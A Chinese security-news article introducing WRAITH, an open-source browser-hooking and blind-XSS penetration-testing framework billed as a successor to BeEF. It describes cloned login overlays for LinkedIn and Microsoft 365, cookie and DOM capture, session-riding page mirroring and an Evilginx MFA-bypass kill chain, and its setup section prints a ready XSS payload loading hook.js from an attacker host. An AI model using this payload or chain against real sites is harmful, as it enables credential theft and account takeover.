开源这款”现代版BeEF”,让浏览器劫持进入新时代

导语:还记得那个曾让无数安全爱好者又爱又恨的BeEF吗?那个曾经统治浏览器劫持领域的框架,如今终于有了正经继承者。Arcanum团队近日开源了WRAITH——一款融合经典BeEF工作流与现代blind-XSS盲打回调能力的新一代渗透测试框架。它用Node.js重写,用WebSocket替代老旧的轮询,用现代化钓鱼覆盖层替代那”十年前的登录界面”。这不只是升级,这是彻底的重新设计。


一、它解决什么问题

在WRAITH出现之前,红队成员实际上在使用两套工具:

BeEF(浏览器利用框架):经典的浏览器劫持工具,钩住浏览器后可以键击记录、伪造登录、探测内网。但它太老了——很多功能在现代浏览器上已经不可靠,社交工程覆盖层看起来像上个世纪的登录页面。

blind-XSS框架(XSS Hunter、ezXSS):把 payload 埋进某个表单字段,一旦它在某个管理员后台触发,立刻回传截图、DOM、Cookie和来源信息。但触发后你就只能看截图,无法真正操控那个页面。

WRAITH将两者合二为一:既有BeEF的交互式会话控制,又有blind-XSS的自动回传能力,在一个 payload 里实现。


二、核心功能一览

2.1 现代化的钓鱼覆盖层

WRAITH提供基于 Shadow DOM 渲染的虚假登录框,看起来与真实站点完全一致,同时还会对背景页面施加霜模糊效果,模拟真实模态对话框。已内置 LinkedIn、Facebook 和 Microsoft/Office 365(包含真实的两步验证流程:邮箱→密码)。

2.2 Page Capture(盲打回传)

当浏览器被钩住的瞬间,WRAITH自动抓取:来源URL、Referrer、非HttpOnly Cookie、完整DOM和截图。HttpOnly cookie拿不到?失败信息会诚实告诉你原因——这本身就是最好的教学。

2.3 Page Mirror(页面镜像)

这是WRAITH最亮眼的功能。当你的blind-XSS payload在某个管理员后台触发后,Page Mirror能把那个后台变成一个可交互的实时浏览器视图——你可以在控制台里点击链接、在应用里导航,就像受害者在操作一样。

关键在于:所有导航都通过受害者的浏览器代理,因此它 riding the victim’s session,任何受害者会话能访问的页面你都能访问,包括那些需要HttpOnly Cookie才能进入的功能。

2.4 现代化的本地端口探测

经典BeEF的局域网扫描在Chrome 142+上已经死了——LNA(本地网络访问)现在会弹出权限提示。WRAITH的探测模块重建于当前浏览器可用的技术之上,提供精确的127.0.0.1端口扫描(fetch-timing + WebSocket-timing双原始算法),并诚实标注LAN模式在现代浏览器下会被阻挡。

2.5 内置靶场

/lab 路径下有一个故意存在存储型XSS漏洞的”支持台”系统,可以完整演示整个攻击链:提交恶意工单 → 坐席查看队列时 payload 触发 → Page Mirror钩住坐席并拉取会话金库。设计不安全是故意的,埋了flag供练习。


三、快速部署

WRAITH要求 Docker + Docker Compose,一条命令搞定:

git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh

setup.sh 会引导你完成:

  • 检测公网IP或让你输入域名
  • 设置控制台用户名和密码
  • 生成会话签名密钥
  • 构建并启动容器
  • 最后打印你的入口地址和可直接使用的XSS payload

启动后你将获得:

Operator console : http://YOUR_IP:8090/operator/
Login page       : http://YOUR_IP:8090/login
Demo victim page : http://YOUR_IP:8090/demo/
Hook payload     : http://YOUR_IP:8090/hook.js

Drop-in XSS payload:
"><script src="http://YOUR_IP:8090/hook.js"></script>

四、技术架构对比

功能BeEFWRAITH
通信方式hook.js + XHR轮询hook.js + WebSocket(实时可靠)
服务器Ruby + RESTful APINode.js + ws
钓鱼覆盖层Pretty Theft(过时)Shadow DOM渲染的现代化覆盖层
端口扫描老旧LAN扫描(已失效)校准的127.0.0.1时序扫描
blind-XSS回传Page Capture + Page Mirror
页面导航Page Mirror(骑乘受害者会话)

五、与AiTM钓鱼框架的关系

WRAITH的覆盖层钓鱼不抓真实会话,也不绕过MFA——它只是把用户输入的东西记录下来。这恰好是它与Evilginx、Modlishka等AiTM工具的根本区别:后者拦截整个登录流程包括MFA之后,拿走会话Cookie;WRAITH则是在你已经拿到代码执行位置之后,在目标页面里做实时操控。

一个现实的杀伤链是这样的:

  1. blind XSS发现并交付代码执行
  2. WRAITH hook提供交互式会话控制
  3. 通过Page Mirror直接操控应用内部功能
  4. 如需绕过MFA,再将受害者导入Evilginx流程

三种工具链式使用,各司其职。


六、项目信息

  • 开源地址:https://github.com/Arcanum-Sec/wraith
  • 许可协议:请参阅项目仓库
  • 适用场景:授权渗透测试、安全研究、安全教育
  • 技术栈:Node.js + WebSocket + Docker
  • 发布状态:早期版本,功能仍有打磨空间

版权声明:本文由华盟网原创发布,保留所有权利。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容